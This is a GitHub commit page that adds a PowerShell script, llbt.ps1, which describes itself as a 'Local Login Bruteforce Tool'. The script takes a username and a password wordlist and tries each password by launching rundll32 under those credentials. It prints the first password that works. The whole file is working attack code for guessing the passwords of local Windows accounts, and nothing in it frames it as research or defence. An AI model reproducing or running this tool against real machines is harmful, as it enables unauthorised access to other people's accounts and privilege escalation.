Skip to content

Commit

Permalink
Added LLBT.ps1
Browse files Browse the repository at this point in the history
  • Loading branch information
puckblush authored Oct 16, 2022
0 parents commit bd4606d
Showing 1 changed file with 33 additions and 0 deletions.
33 changes: 33 additions & 0 deletions llbt.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
param (
[Parameter(Mandatory=$true)][string]$wordlistfile,
[Parameter(Mandatory=$true)][string]$username,
[Parameter(Mandatory=$false)][bool]$verb
)
Write-Host -Fore cyan @"
[_][_][_][_][_][_][_][_][_]
[_] Local [_]
[_] Login [_]
[_] Bruteforce [_]
[_] Tool [_]
[_][_][_][_][_][_][_][_][_]
|| ||
||=======================||
"@
Write-Host -Fore yellow "Username : $username"
Write-Host -Fore yellow "Wordlist : $wordlistfile"
Write-Host -Fore yellow "Verbose : $verbose"
foreach ($password in [System.IO.File]::ReadLines($wordlistfile)) {

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
try {
Start-Process rundll32 -WorkingDirectory "C:\Windows\System32" -Credential $credential
Write-Host -Fore green "`n$username : $password"
exit
}
catch {
if($verb) {
Write-Host -Fore red "`r$username : $password" -NoNewLine
}
}
}

0 comments on commit bd4606d

Please sign in to comment.